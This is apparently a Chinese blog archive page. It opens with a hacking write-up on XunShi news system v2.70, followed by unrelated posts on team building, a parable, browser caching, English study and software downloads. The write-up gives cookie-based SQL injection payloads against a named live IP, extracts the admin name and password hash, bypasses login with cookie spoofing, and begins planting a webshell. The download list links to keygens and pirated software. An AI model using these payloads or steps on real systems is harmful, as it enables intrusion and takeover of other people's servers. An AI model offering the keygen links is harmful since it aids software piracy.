讯时2.70漏洞-对讯时新闻发布系统的艰难突破

三顾讯时–对讯时新闻发布系统的艰难突破

月无痕&&花非花

  一.接触起因

  这几天事情较多,一直都没去老大的论坛转!今天好友joli突然Q我说论坛上有人发了个脚本的问题,叫我也一起看一下,于是我就跑过去看了下(你家离论坛很近?竟然可以跑着过去!),也就有了下面这篇文章(测试版本为讯时新闻发布系统v2.70版 )。

  二.漏洞初探

  打算先看有没有经典的OR漏洞,虽然已经出来很久的漏洞了,但是很多程序仍然会存在这样的漏洞,admin_login.asp存在如下代码:
if request("user")="" or request("pass")=""then   
  conn.close
  set conn=nothing
  Response.Redirect "login.asp id=0"
  ’如果user或者pass等于空就掉转到login.asp id=0这个页面上
  else '注释下如果上面条件不成立就执行下面语句

  user=LCase(chkhtm(request("user")))'注释下这里先用chkhtm函数过滤然后用lcase在过滤
  pass=md5(chkhtm(trim(request("pass"))))
  ’然后带入sql语句查询
  sql = "select * from admin where [user]='"&user&"' and [pass]='"&pass&"'"
  Set rs = Server.CreateObject("ADODB.RecordSet")
  rs.Open sql,conn,1,1

好!上面关键的地方我都进行了一下注释,最关键的地方就是chkhtm函数,他是做什么的?我在titleb.asp中找到了他的定义!
function chkhtm(stra)
   stra=replace(stra,"<","<")
   stra=replace(stra,">",">")
   stra=replace(stra,"'","")
   stra=replace(stra,"(","(")
   stra=replace(stra,")",")")
   stra=replace(stra,";",";")
   stra=replace(stra,",",",")
   stra=replace(stra,"%","%")
   stra=replace(stra,"+","+")
   chkhtm=stra
end function

  很明显的一个过滤函数,在函数的第四行,已经过滤掉了“'”号了,所以OR漏洞是没戏了,思路到这里就断了。

  三.再探漏洞

   在查看代码的时候曾经被某人误导,一直抓不到点子上去了,这时候花非花刚好来上网,我把程序传给他,他把思路告诉我,然后他让我看了admin_chk.asp文件,大概代码如下:

   <%

1.session("admin__user")=Request.Cookies("adminuser")
2.session("admin__pass")=Request.Cookies("adminpass")
3.session("dJ")=Request.Cookies("admindj")

4.adminuser=Request.Cookies("adminuser")
5.adminpass=Request.Cookies("adminpass")
6.admindj=Request.Cookies("admindj")

7.if adminuser="" or adminpass="" then
8.  Response.Redirect "login.asp id=8"
9.end if

…省略部分代码…

10.user=trim(session("admin__user"))
11.pass=session("admin__pass")

12.sql = "select * from admin where [user]='"&adminuser&"' and [pass]='"&adminpass&"'"
13.Set rs = Server.CreateObject("ADODB.RecordSet")
14.rs.Open sql,conn,1,1
15.if rs.recordcount=0 then
16.  Response.Redirect "login.asp id=8"
17.end if
…再省略…
%>

   1,2,3是通过request.cookies方法从客户端获取cookie信息(KEY分别是adminuser,adminpass,admindj),并存入session中,分别对应:session("admin__user")、session("admin__pass")、session("dj")。然后在4,5,6分别把Request.Cookies("adminuser"),Request.Cookies("adminpass"),Request.Cookies("admindj")的值存入变量adminuser,adminpass,admindj中,如果变量adminuser,adminpass的值为空,就转到login.asp id=8页面,10,11是将session("admin__user")和session("admin__pass"),存入变量user和pass中。12,13,14将变量adminuser和adminpass的值参与sql查询。将拿客户端的cookie信息进行sql查询,这样做的结果是造成欺骗漏洞,但是由于参与查询的cookie还包括密码,所以这种利用条件比较困难,必须在得到用户的密码(估计有人要骂我了,呵呵,能得到密码还COOKIE欺骗干嘛,不过这个密码是MD加密的,也就是可以省去破解这一步了(另外一个就是cookie注入了,貌似可以,但是我们进行测试之后都构造不出可行的攻击语句,有高手能搞定的话,请告知一下,先谢过了!)。思路再一次中断…

  四.三顾讯时

     
     正在一筹莫展的石斛,花花说找到了另外一个漏洞,漏洞文件在admin_news_view.asp,漏洞代码如下:
     
     newsid=trim(request("newsid"))
     sql = "select * from news where id="&newsid
     Set rs = Server.CreateObject("ADODB.RecordSet")
     rs.Open sql,conn,1,1
    
     这个文件以admin开头,但是没有进行权限的判断等,用户可直接查看,而这里通过request获取从客户端传来的数据newsid的值,并用trim函数过滤之后存入变量newsid中。然后将此变量参与SQL查询。此过程,只用trim函数过滤了空格并没有做其他的限制,所以从这里可以看出来一个注入漏洞就产生了。   

   用order by函数判断参与SQL查询的字段为26个,提交 http://222.90.4.20/news/admin_news_view.asp newsid=26%20and%201=2%20union%20select%20…,返回错误,如图1所示:

按此在新窗口打开图片

然后,我们在admin_conn.asp 文件中发现如下代码:
   sss=LCase(request.servervariables("QUERY_STRING"))
   if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0 or instr(sss,"'or")<>0 then
     response.write "<BR><BR><center>你的网址不合法"
     response.end
   end if

   过滤了request.querystring方法获取从客户端传来的数据,过滤的内容是select,inster,delete等。虽然做了这个限制,但是我们还是可以利用cookie进行注入,因为前面的漏洞代码里面用的是request而不是request.querystring,所以我们还有reuqest.cookie方法让服务端获取我们这里的数据。
    先访问:http://222.90.4.20/news/admin_news_view.asp newsid=26,然后去掉此URL,再   提交:javascript:alert(document.cookie="newsid="+escape("26 and 1=1"))返回如图2所示:

按此在新窗口打开图片
然后在访问http://222.90.4.20/news/admin_news_view.asp,返回如图3:

按此在新窗口打开图片

说明我们提交的url已经有参与了sql查询,而且查询所得结果为真。再提交:
  javascript:alert(document.cookie="newsid="+escape("26 and (select asc(mid(user,1,1)) from [admin] where id=1)=97"))
   返回如图4所示:

按此在新窗口打开图片

判断id=1的user(管理员)的第一个字符的ascii码值是否为97。相信大家以前看过花花的文章,大概的cookie注入也就这样了。下面是猜密码的。
  javascript:alert(document.cookie="newsid="+escape("26 and (select asc(mid(pass,1,1)) from [admin] where id=1)=97"))

  通过一一猜解所得的用户名和密码的ASSCII分别是97 100 109 105 110,50 49 50 51 50 102 50 57 55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 52 97 56 48 49 102 99 51,转换后的结果分别是admin和21232f297a57a5a743894a0e4a801fc3。然后我们不必去破解密码,拿出老兵叔的cookie欺骗工具,在cookies栏里输入:admindj=1; adminpass=21232f297a57a5a743894a0e4a801fc3; adminuser=admin; (保持绿色小球处于按下状态)然后在address栏里输入:http://222.90.4.20/news/admin_index.asp,提交!这样我们就可以不经登陆直接进到后台了。如图5所示:

按此在新窗口打开图片

进到后台就是拿WEBSHELL了。打开网友投稿,如图6所示:

按此在新窗口打开图片

打开查看审查,然后传个.zip(需要是允许上传的类型)的马上去。如图7所示:
按此在新窗口打开图片
  然后,查看编辑器的代码,如图8所示:
按此在新窗口打开图片
  可以看到这样一行字:<a href="/news/edit/uploadfile/2007213131454997.zip" …. 
  然后记下这一路径:/news/edit/uploadfile/2007213131454997.zip
  再打开备份,如图9所示:
发布于 分类 网站技术讯时2.70漏洞-对讯时新闻发布系统的艰难突破有1条评论

看《西游记》悟团队建设

  吴承恩的《西游记》可谓家喻户晓,故事情节的跌宕起伏、韵味深远,作者渊博的学识与精湛的文笔着实令人佩服。如果我们用现代管理学的角度观察,会发现《西游记》原来还是一部古典团队建设理论教科书,其中尤以《三打白骨精》最为精彩,从团队建设的反面案例角度为我们剖析一个失败团队的种种败相,只要我们细细品味,完全可以从中“吃出北京烤鸭的味道”,对我们今后的团队建设将有诸多裨益。

  众所周知,三打白骨精时的唐僧师徒四人的取经团队刚刚组建,尚处于团队的磨合期,师徒四人的价值观、性格、经历、心理状态截然不同,师徒的之间沟通不足,默契程度不高:悟空火眼金睛,但性急遇事不请示领导;八戒贪色、偷懒、馋嘴,喜好溜须奉承和邀功。悟空与八戒相互较劲内耗,沙僧的协调工作效果不明显。同时作为领导的唐僧领导水平不高,战术上轻敌,对取经的危险认识不充分,固执己见;不善于分析问题、不善于反思、不善于听取不同意见,辨别真伪的能力有待提高;激励手段不足,方法论也有问题,且有家长做派(动辄念紧箍咒),更加致命的问题是唐僧对主要目标信念不明确(见悟空杀“无辜”,居然认为取得真经也没用),信心动摇,逆境商不高,遇到挫折撂挑子,团队的管理控制系统调节失效。

  此时吴承恩笔下的取经团队简直具备了所有失败团队的特征,唐僧落入白骨精的魔爪也就顺理成章了。经历这场灾难后的取经团队能够吸取教训,亡羊补牢,尽管风风雨雨,但是团队的磨合逐渐演变为一种默契,最终取得真经。

  吴承恩实际上试图通过《西游记》的故事发展历程告诉后人:什么才是团队建设的“真经”,如何才能促使团队建设达到一种默契的程度,进而实现目标。现实工作中遇到的问题使我们清醒地意识到:目前某些值得我们反思的事情,究其原由非兵不精、将不能,弊在团队建设。如何把握团队建设的前进方向,使之按照我们的预定计划发展,将成为当前的一个重要课题。同时纵观古今中外,任何一个成功的团队必然在某些方面存在共性,而这些共性将对我们今后的团队建设极具参考价值,同时对各个组织发展建设将产生及其深远的战略影响。

  一、目标明确,永不言败

  一个团队的奋斗目标是团队建设的旗帜,是团队建设的共同愿景,是团队未来发展的前进明灯。因此目标必须明确,同时该目标必须具有战略性、前瞻性、唯一性、可操作性、相对稳定性,不因为扰动因素有所变更。一旦目标确立,团队的所有行为必须围绕目标实现进行有效运作,为目标的实现服务,严禁在目标实现过程中出现“杂音”,团队中的所有战术行动必须统一于团队的战略目标,强调个体服从群体团队的思想,必须根据外部环境的不断变化,及时调整行动策略,确保目标的顺利实现。目标既是一个战略的问题,又是共同愿景的问题,同时更是一个逆境商的问题。俗语说:磨难是一种财富。经历了磨难的并且能够继续前进的团队才有可能成为成功的团队。现代的团队建设理论强调为目标奋斗的团队及其成员应该具有较高的逆境商,能够在遭受多次挫折后有一种坚韧不拔、不屈不挠、矢志不移的精神,善于在逆境中拼搏,总结经验,奋发图强,永不言败(唐僧尽管后来也屡次落入妖怪魔掌,但是明显让读者感觉成熟了许多,这就是逆境商明显提高的结果),有一种不达目的誓不罢休的顽强精神。就团队建设的过程而言,这是一个不断成熟的过程,不断自我完善的过程,是一个项目管理(即PM)的过程,而在上述三者其中作为粘合剂的就是“目标明确、永不言败”。

  二、以心换心,默契为本

  从团队发展历程的角度而言,团队建设必须经历磨合、相容两个阶段,最后达到一种默契的境界。美国著名企业家玫琳凯的“黄金法则”第一条说:你希望别人如何对待你,你就如何对待别人。这实际反映了一种对等相待的现代管理思想,阐述了成功管理模式的基础条件——真情管理、以心换心。团队好似一台精密机器,各个零件(即团队成员)各司其职,零件之间的公差匹配就是默契程度,公差匹配差必然导致机器磨损加剧,机器提前“退休”。因此一个团队的默契程度往往决定团队的整体绩效,一个优秀的团队在默契方面的成功往往是失败团队的学习榜样,同时授权不充分、同床异梦、内部不团结等现象很大程度上是由于团队成员之间默契的程度不高,或者根本就是南辕北辙。上下同欲者胜、和如琴瑟、爱兵如子、周瑜打黄盖等等典故、词语则从不同角度阐述了默契的外部特征,因此我们有理由认为默契的充要条件就是“上下同欲、心有灵犀、坦诚相待、相互信赖、充分授权、以心换心”。同时团队建设的内部关系作为一种《委托——代理》理论的应用领域,委托人与代理人之间客观上存在信息不对称的问题,只有默契才能实现“在各自不同的行为组合中,选择最大化期望函数”的问题,才能最大限度降低团队出错的概率,步调一致向前进,保障目标的顺利实现。

  三、海纳百川,系统整合

  美国二战元勋马歇尔将军在用人问题上始终认为:“此人能作些什么?如何利用工作和职守来克服这个人的弱点(提拔巴顿便是一个典型范例)。”古罗马统帅恺撒相信:任何一个先进的社会有三个特征,其一由很多的人构成,其二不同的人有不同的才华,其三人尽其材。这既是一种海纳百川、多元化发展思路,同时又是一种包容的观点,更是一种“瑕不掩瑜、人尽其材”系统整合的策略,籍此挖掘团队的最大潜能,并努力做到人的边际使用价值最大化。一个优秀的团队必然是一个多元文化共同发展的团队、一个集思广益的团队、一个善于整合所有资源并谋求效益最大化的团队。现代西方管理学关注“如何通过包容促使绩效最大化”的问题(即HOW的问题),认为优秀团队是一个多元文化的利益共同体,在共同愿景的指引下,团队运用现有的所有资源(含人力资源),给团队成员足够的空间引导他们做正确的事情,将员工的奋斗及个人的成功有机地融入团队的成功中去,通过资源系统最优匹配与系统整合实现绩效的最大化。中国象棋中各个子力相互依托、相互倚重,通过系统整合构筑整体优势,实际上就是这种系统整合的思想的体现

  四、有效沟通,前瞻结合反思

  沟通是指把信息、观念和想法传递给别人的过程,是一种理解的交换的过程。《组织行为学》认为:沟通是管理过程中各个环节的基础,将组织的各个职能融为一个整体,同时将组织与包含有众多利益相关者的外部环境予以联系,沟通在文化和组织行为管理中处于中心地位。同时《博弈论》中的囚徒困境理论告诉我们:只有有效沟通,善于从对方的角度考虑问题,精诚团结,才能实现双赢。组织内部的沟通按照沟通双方的地位不同分为上向沟通与下向沟通,两种沟通中任何一种沟通不畅都将导致团队建设的挫折。独断专行、一意孤行、家长做派等等词语实际上告诉我们有效沟通的必要性。同时作为沟通的有益补充,反思对于一个团队具有一种有益的战略完善作用。作为学习的一种特殊形式,反思是将学习变为一种有意识的过程,将其过程深入到事情的核心和本质,不断弥补各种社会行为方式的缺陷,既是社会个体不断成熟的标志,也是人类不断完善自我思想行为的一个里程碑。实践工作中我们总是习惯在失败之后(例如唐僧在被白骨精抓获之后)才进行反思,这样往往会让我们丧失宝贵的“时间窗口”,逐步从“未雨绸缪”的机遇期延宕为“临阵磨枪”的境地,进而使我们的工作处于被动,对“红盾工程”建设产生不良的影响。因此在现实工作中我们必须强调工作的前瞻性意识,及时对各种形式作出预测,敏锐把握时间窗口,变被动为主动,使各项工作不断向前发展。

  五、了解人性,正确激励

  人是一种需要激励的高等动物,激励是一种心理过程,任何组织都需要受激励的员工,并将能够激励他人的管理者视为成功的管理者。美国心理学家马斯洛将人的需求分为生理、安全与保障、归属、尊重、自我实现等五个层次的需求加以激励。赫茨伯格的双因素理论认为:为了激励员工,一项工作应该包含多种激励因素。同时激励具有明显的文化属性,不同文化的社会个体需要不同的激励方式,不同的方式产生不同的激励功效。因此我们在设计激励制度时应该充分考虑人的所有社会需求,应该了解你的团队成员的心理动态,在设置具有普遍激励意义的制度同时,对不同的员工设定具有个体针对性的激励制度,籍此全方位完善我们的激励制度。激励的目标是一种可以实现的梦想,是一种共同愿景,团队领导的一个重要职责在严于律己的基础上以身作则,以“我就是标竿”的立身态度,充分调动全体员工的积极性,共同为实现目标而奋斗。激励理论认为表扬是所有激励手段中效果最大的一种方式,通过表扬可以让被激励者感觉到自己的重要程度(霍桑实验的应用),进而刻意改变自身某些行为,按照团队的奋斗目标前进。同时激励理论认为在充分掌握现实情况、了解人的心理愿望的基础上,将奖惩机制有机结合应用会保证团队的成功,必要的约束手段是成功的保障,但是滥用约束惩罚措施必然导致团队的失败(唐僧不能不用紧箍咒约束悟空但应该慎用紧箍咒,切不可滥用)。现实工作中的关键是应该把握好“度”的问题,妥善解决有效激励的问题。

  六、励精求学,上下求索

  大学数学老师说:假如唐僧念过《概率分析》,那么在妖怪多次作怪后唐僧可以运用概率分析,通过判断上述事件的概率进而识别妖怪的伎俩。现实生活中我们没有唐僧幸运,能够回回化险为夷,但是我们比唐僧睿智,可以通过学习提高我们的综合能力,进而逢凶化吉。古人曰:非学无以广才。《十六大报告》中更是高屋建瓴地指出:“形成全民学习、终身学习的学习型社会,促进人的全面发展”。只要我们本着“学贵精诚专一”的态度,以“学习型组织”作为创建蓝本,全面系统地学习现代社会各个方面的知识,促进团队整体理论的修养、同时实践的深化,调整理论的深度与正确性,不断改善我们的方法论与思维方式,进而促使团队能够站得更高的视角系统地观察问题、考虑问题,提高我们操控驾驭各种突发事件的能力,及时将知识转化为现实生产力,以螺旋上升到方式真正实现“二次飞跃”。

  七、洗耳恭听,善于解决冲突

  组织行为学认为:由于每个人“习相远”,人的不同社会属性决定了冲突产生的必然。我们可能因为看待问题的角度不同,不同性格、经历、阅历、修养的等等因素产生冲突,同时可能由于控制不善,导致冲突演变为一场灾难。因此如何解决冲突成为工作中的一个关键因素。首先解决冲突的第一原则就是对事不对人,冲突是因为团队成员为了解决问题对事件的不同认识产生的,如果将个人的感情引入冲突解决机制,必然导致冲突复杂化,因此只能将范围限定在冲突的事件本身。其次是公心为重,目标明确。现实工作中不同的价值观、指导方针将导致冲突,但是鉴于团队的战略利益单一性,只要坚持公心为重,本着“两权相益取其重,两权相害取其轻”的原则,相信可以找到解决冲突的最佳均衡点。第三是心态平和、善于听取不同意见,善于从不同意见角度萃取精华,使自己的见解更加完善,更富有系统性。冲突的解决实际是一种逆向思维、倾听不同意见、妥协艺术的综合运用过程,因此冲突的解决方案应该具有积极、非个人化、具有实质意义、合作性质等等特征。第四遏制冲突事态扩大化。团队内部任何冲突事件的扩大化都没有受益方,都将导致一种潜在的灾难,都会极大损害团队的系统凝聚力,削弱团队的整体实力。因此一个成熟的团队应该善于把握、控制冲突的进程,严格控制任何冲突扩大化的苗头,力求通过对话求同存异、达成共识。

 八、完善反馈,健全“管理控制系统”

  众所周知自然界任何一个稳定的循环系统必然是一种闭环的有效反馈回路(例如生物链、电子电路等),任何开环的系统必然是一种不健全的系统。一个成熟的团队内部必然存在一种有效的管理控制系统的机制,即能够通过洞察团队内部及其周围的所有信息达到对团队建设质量明察秋毫的目的,并且善于根据不同的扰动因素征候在第一时间反馈,并果断采取措施,保证改善团队的良性发展运作。团队建设作为管理控制系统理论的一个应用领域,其本身是实施组织战略的一种工具,是一个建立在综合运用所有现代知识基础上,有效整合系统内部所有资源,积极融合于外部环境,运用其内部完善的反馈调节机制顺畅高效运作,保证团队的良性健康发展。现实工作中我们必须善于扩大信息来源的规模,强化内部监督制约、管理责任制的落实,严格把握信息的时间有效性,通过不断的学习提高团队的危机处理能力,不断及时完善反馈的途径,强化科学地决策机制建设,果断地系统决策,努力构建有效调节、不断完善的闭环管理控制系统。使团队建设成为不断自我反馈完善、不断增强效能的稳定闭环回路。

  美国《财富》杂志最新统计资料表明:世界公司500强中,80%以上的公司都在极力倡导团队工作方式。团队建设是一个多学科系统知识综合运用的领域,同时强调相应的高素质复合型人才与之相匹配,其不断变化发展的目标、战略、战术的研究问题与现实也促使我们清醒意识到:新的以“虚拟团队”为代表的团队建设改革浪潮已经来临,只要我们准确把握时代的脉搏,不断学习,萃取前人的知识精华,与时俱进,紧密围绕《十六大报告》中既定的奋斗目标,励精图治,常勤精进,相信在不远的将来,我们一定能够懂得比吴承恩透彻,干得比马歇尔出色,必将能够取得现代团队建设的“真经”。

西游记:最成功的项目团队

  古代有一个最成功的项目团队,那就是西游记的取经团队。为了完成西天取经任务,四位组成取经团队,成员有唐僧、孙悟空、猪八戒、沙和尚。其中唐僧是项目经理、孙悟空是技术核心、猪八戒和沙和尚是普通团员。这个团队的高层领导是观音。

  这个团队的组成很有意思,唐僧作为项目经理,有很坚韧的品性和极高的原则性,不达目的不罢休,又很得上司支持和赏识(直接得到唐太宗的任命,既给袈裟,又给金碗;又得到以观音为首的各路神仙的广泛支持和帮助)。

  沙和尚言语不多,任劳任怨,承担了项目中挑担这种粗笨无聊的工作。

  猪八戒这个成员,看起来好吃懒做,贪财好色,又不肯干活,最多牵一下马,好像留在团队里没有什么用处,其实他的存在还是有很大用处的,因为他性格开朗,能够接受任何批评而毫无负担压力,在项目组中承担了润滑油的作用。

  最关键的还是孙悟空,由于孙悟空是这个取经团队里的核心,但是他的性格极为放荡,回想他那大闹天空的历史,恐怕作为普通人来说没有人会让这种人呆在团队里,但是取经项目要想成功实在缺不了这个人,只好采用些手腕来收复他。这些手段是,首先,把他给弄得很惨(压在五指山下500年,整天喝铜汁铁水);在他绝望的时候,又让项目经理去解救他于水火之中以使他心存感激;当然光收买人心是不够的,还要给他许诺美好的愿景(取完经后高升为正牌仙人);当然最主要的是为了让项目经理可以直接控制好他,给他戴个紧箍,不听话就念咒惩罚他。

  孙悟空毕竟是牛人,承担了取经项目中的赶妖除魔的绝大多数重要任务,虽然是个难于管束的主,不能只用手段来约束他,这时猪八戒的作用就出来了,在孙悟空苦恼的时候,上司不能得罪,沙和尚这种老实人又不好伤害,只好通过戏弄猪八戒来排除心中的郁闷,反正猪八戒是个乐天派,任何的指责都不会放在心上。

  在取经的项目实施的过程中,除了自己的艰辛劳动外,这个团队非常善于利用外部的资源,只要有问题搞不定,马上向领导汇报(主要是直接领导观音),或者通过各种关系,找来各路神仙帮忙(从哪吒到如来佛),以搞定各种难题。

  西游记里特别强调得到高层支持的重要性,有没有靠山真的很不同,君不见像白骨精这种没有靠山的妖魔都会死得很惨;只要有靠山的,这个妖魔就算犯了天大的事,关键的时候总会有后台跳出来搭救(这种例子太多了)。

鸡群中的雄鹰

  有一个学电子专业的大学生,毕业时被分配到一个让许多人羡慕的政府机关,干着一份十分轻松的工作 。

  然而时间不长年轻人开始变得郁郁寡欢,原来年轻人的工作虽轻松但与所学专业毫无关系,要知道年轻人可是电子专业的高才生啊,空有一身本事却无用武之地。他想辞职外出闯天下,但内心深处却十分留恋眼下这一份稳定又有保障的舒适工作,要知道外面的世界虽然很精彩可是风险也大啊经过反复思量他仍拿不定主意,于是他就将自己的想法告诉父亲,他的父亲听后想了一会儿,给他讲了一个故事:

  有一个乡下的老人在山里打柴时,拾到一只很小的样子怪怪的鸟,那只怪鸟和出生刚满月的小鸡一样大小,也许因为它实在太小了,还不会飞,老人就把这只怪鸟带回家给小孙子玩耍。

  老人的孙子很调皮,他将怪鸟放在小鸡群里,充当母鸡的孩子,让母鸡养育着。母鸡没有发现这个异类,全权负起一个母亲的责任。

  怪鸟一天天长大了,后来人们发现那只怪鸟竟是一只鹰,人们担心鹰再长大一些会吃鸡。然而人们的担心是多余的,那只一天天长大的鹰和鸡相处得很和睦,只是当鹰出于本能在天空展翅飞翔再向地面俯冲时,鸡群出于本能会产生恐慌和骚乱。

  时间久了,村里的人们对于这种鹰鸡同处的状况越来越看不惯,如果哪家丢了鸡,便首先会怀疑那只鹰,要知道鹰终归是鹰,生来是要吃鸡的。愈来愈不满的人们一致强烈要求:要么杀了那只鹰,要么将它放生,让它永远也别回来。因为和鹰相处的时间长了,有了感情,这一家人自然舍不得杀它,他们决定将鹰放生,让它回归大自然。

  然而他们用了许多办法都无法让那只鹰重返大自然,他们把鹰带到很远的地方放生,过不了几天那只鹰又飞回来了,他们驱赶它不让它进家门,他们甚至将它打得遍体鳞伤……许多办法试过了都不奏效。最后他们终于明白:原来鹰是眷恋它从小长大的家园,舍不得那个温暖舒适的窝。

  后来村里的一位老人说:把鹰交给我吧,我会让它重返蓝天,永远不再回来。老人将鹰带到附近一个最陡峭的悬崖绝壁旁,然后将鹰狠狠向悬崖下的深涧扔去,如扔一块石头。那只鹰开始也如石头般向下坠去,然而快要到涧底时它终于展开双翅托住了身体,开始缓缓滑翔,然后轻轻拍了拍翅膀,就飞向蔚蓝的天空,它越飞越自由舒展,越飞动作越漂亮,这才叫真正的翱翔,蓝天才是它真正的家园啊它越飞越高,越飞越远,渐渐变成了一个小黑点,飞出了人们的视野,永远地飞走了,再也没有回来。

  听了父亲的故事,年轻人痛下决心,辞去了公职外出闯天下,终于干出了一番事业。

  其实我们每个人又何尝不像那只鹰一样,总是对现有的东西不忍放弃,对舒适平稳的生活恋恋不舍?一个人要想让自己的人生有所转机,就必须懂得在关键时刻把自己带到人生的悬崖,给自己一个悬崖其实就是给自己一片蔚蓝的天空啊。

关于如何禁止浏览器缓存某一页面

  前几天,因为忘了禁止缓存的HTML标签是怎么写的,就上网搜索了一下,结果发现大都转载了这样的内容:[quote]在WEB开发时,仅仅使用是不起作用的,IE仍然会cache数据的。这是因为ie在一页的数据没有满32K时它是不会缓存的。
  通常,这样的话,如果把no-cache直接放在最前面的话,只要缓存中的数据没有到32K,当时ie是不会缓存的,但是当读过了no-cache标志,到了HTML其他部分时,数据已经超过了32K这时,IE仍然会将数据缓存起来。这是由于IE分析一个页面的语法时是从上到下读取的,正确的方法如下:
    
    
      
       你的标题
    
    
       你的页面的其它部分。。。。。
    
    
      
    
    [/quote]

  我有点怀疑这样的说法。今天闲着没事,实验了一下。发现根本不是这么一回事。即使是很小的文件,不用也还是会缓存的,再大的文件,在头部用了就不会缓存,而不必像上面提到的一样写到后面去。
  我的环境是Win2003+Maxthon。
  又试了一下用FF浏览,发现无论如何,都不缓存。不知道怎么回事。

学好英语十句话

1. What is language for? Some people seem to think it's for practicing grammar rules and learning lists of words—the longer the words the better. That's wrong. Language is for the exchange of ideas for communication.

(语言到底是用来干什么的呢?一些人认为它是用来操练语法规则和学习一大堆单词–而且单词越长越好。这个想法是错误的。语言是用来交换思想,进行交流沟通的!)

2. The way to learn a language is to practice speaking it as often as possible.

(学习一门语言的方法就是要尽量多地练习说。)

3. A great man once said it is necessary to dill as much as possible, and the more you apply it in real situations, the more natural it will become.

(一位伟人曾说,反复操练是非常必要的,你越多的将所学到的东西运用到实际生活中,他们就变的越自然。)

4. Learning any language takes a lot of effort. but don't give up.

(学习任何语言都是需要花费很多努力,但不要放弃。)

5. Relax! be patient and enjoy yourself. Learning foreign languages should be fun.

(放松点!要有耐性,并让自己快乐!学习外语应该是乐趣无穷的。)

6. Rome wasn't built in a day. Work harder and practice more. your hardworking will be rewarded by god one day. God is equal to everyone!

(冰冻三尺,非一日之寒。更加努力的学习,更加勤奋的操练,你所付出的一切将会得到上帝的报答,上帝是公平的。)

7. Use a dictionary and grammar guide constantly. Keep a small English dictionary with you at all time. When you see a new word, look it up, think about the word–use it in your mind, in a sentence.

(经常使用字典和语法指南。随身携带一本小英文字典,当你看到一个新字时就去查阅它,想想这个字—然后去用它,在你的心中,在一个句子里。)

8. Try to think in English whenever possible. When you see something think of the English word of it; then think about the word in a sentence.

(一有机会就努力去用英文来思考。看到某事时,想想它的英文单词;然后把它用到一个句子中去。)

9. Practice tenses as much as possible. When you learn a new verb, learn its various forms.

(尽可能多的操练时态。学习一个动词的时候,要学习它的各种形态。)

10. I would also like to learn more about the culture behind the language. when you understand the cultural background, you can better use the language.

(我想学习和了解更多关于语言背后的文化知识,当你理解了文化背景,你就能更好地运用语言。)

英语学习资料下载大全

Longman English Language Teaching
http://www.longman-elt.com/index.html
主题:为中国朋友所熟知的朗曼英语教学方法
功能:测试,专题文章,链接,小窍门
对象:ESL教师和学英语人士

Parlo – Language, Culture, Life
http://www.parlo.com/index.asp
主题:学语言的网站
功能:对语言结构,国际文化作出探讨
特色:教你怎样学语言,而不仅是英语
对象:ESL教师和学英语人士

Peak English
http://www.peakenglish.com
主题:在线的远程英语学习网站 功能:词汇,阅读,听力(用REALAUDIO),语法课程,
特色:所教英语是用于美国的
对象:学英语人士

Schmooze University
http://schmooze.hunter.cuny.edu:8888/
主题:英语学习个网站,可以一对一或分小组进行对话
功能:在线字典,语言游戏,USENET
对象:学英语人士

Tower of English
http://members.tripod.com/~towerofenglish/index.htm
主题:非常友好的英文学习网站
功能:设计专业的网站,大量的有用资源
对象:学英语人士

注明:以上每个网站都有可取之处。取其精华,去其糟粕吧。

英语八哥 v2.1 (荐)
—-by pszmj

《英语八哥》适合办公室白领、在校大、中、小学生学习英语,用英语在局域网中聊天及交流信息,聊天功能类似于OICQ,更主要的是本软件是为学习英语而度身定造的聊天软件,一切就象在真实环境中用英语交谈一样有声有色:标准美国英语发音,卡通人物动嘴说话,英语九百句二人对话表演,走遍美国情景对话播放,大学英语课课文朗读(由于到现在还未能找到初、高中英语课文,所以还未能将初、高中英语课文也包含进软件中,如果您知道网上哪里有,恳请告诉我),同时软件中的字、词、句查找功能对英语写作也有极大的帮助。家庭个人用户也可以正常使用本软件(除联网聊天外)的全部功能。
英语八哥1.6 版增加了更多的英语学习资料,界面更美观,功能更强,限制却更少,整个软件只有两个功能限制 ,取消了背单词模块的所有限制。增加的资料包括上万条英语常用句子,上十部英语小说,所有英语资料均提供中文对照翻译。
为您学习英语提供完整的“听、说、读、写”功能,激发您学习英语的持久兴趣,用英语八哥,过英语八级!

解压密码:ttdown.com
下载
http://ln.skycn.net/down/bogo21setup.exe
注册机
ftp://down:down@61.172.195.167/% … B%B8%E7.v2.1.KG.rar

Adobe Acrobat v5简体中文正式版
一个查看、阅读和打印PDF文件的最佳工具
http://www.xzpe.com/jiandan/download.asp?id=2471&downid=1

大学英语自学教程 V7.0 国产
《大学英语自学教程》辅导软件,自考英语(一)、(二)者的福音,单词、语法、课文全面复习。实现全过程选书记忆,全过程定位单词,按课分类,自动记忆学习过程。内置语音模块,智能阅读课文、句子、单词以及反义词、同义词、相近词。同时提供单词助记方法、语法及题型辅导和练习(附带自考规定的约1600个基本单词的朗读记忆)。
http://download.online.tj.cn/download/13167zk70.exe

我也爱背单词2002 v3.3 完全版
一款最为小巧精悍的绿色英语单词辅助记忆软件!信息量极大(125347词条),含有GRE逆序、红宝书、GMAT、TOEFL、雅思、四六级、新概念、太傻单词用户自定义等六十三本字典数据,可随时扩充,唯一同时具有独特的大/小窗口自动浏览功能。软件功能极具人性化,可以设定单词浏览速度,按照正序/逆序/默认浏览记忆,自动记录学习进度,随时查找单词。并且同时支持TTS发音和真人语音。我也爱背单词2001+是您背诵英语单词的“利器”,与ETS“激战”不可缺的法宝,也是每个G友T友的必备工具!体积最小;功能强悍;数据惊人。
http://tj.skycn.net/down/wyabdc32.exe

英语下载小精灵1.2]—my86

面向多层次水平的英语学习软件
http://www.gmwz.net/downsoft2.as … E%AB%C1%E91%2E2%2E1

广明网站,以前一个出名的D版软件网站,而且提供光盘邮购,後来因为版权问题关闭了一段时间,现在重新开张,没想到居然贼性不改,又在提供D版下载和邮购。

我也爱背单词2002+ 白金语音版3.3

一款最为小巧精悍的绿色英语单词辅助记忆软件!Johnzhang推荐大家试试. 在下面有本软件的3.2版,注册完全通过. 3.3版变化不大,据说注册有点小问题.
http://202.99.233.91/ftp1/xf/xf_wyabdc2002a_keygen.rar

薄冰的高级英文语法

http://fallerr.myrice.com/study/26.part01.rar
http://fallerr.myrice.com/study/26.part02.rar
http://fallerr.myrice.com/study/26.part15.rar

刘毅词汇文本

刘毅词汇基础3000
http://fallerr.myetang.com/study/basic.rar.
刘毅词汇5000
http://fallerr.myetang.com/study/5000.rar
刘毅词汇10000
http://fallerr.myetang.com/study/10000.rar
刘毅词汇22000
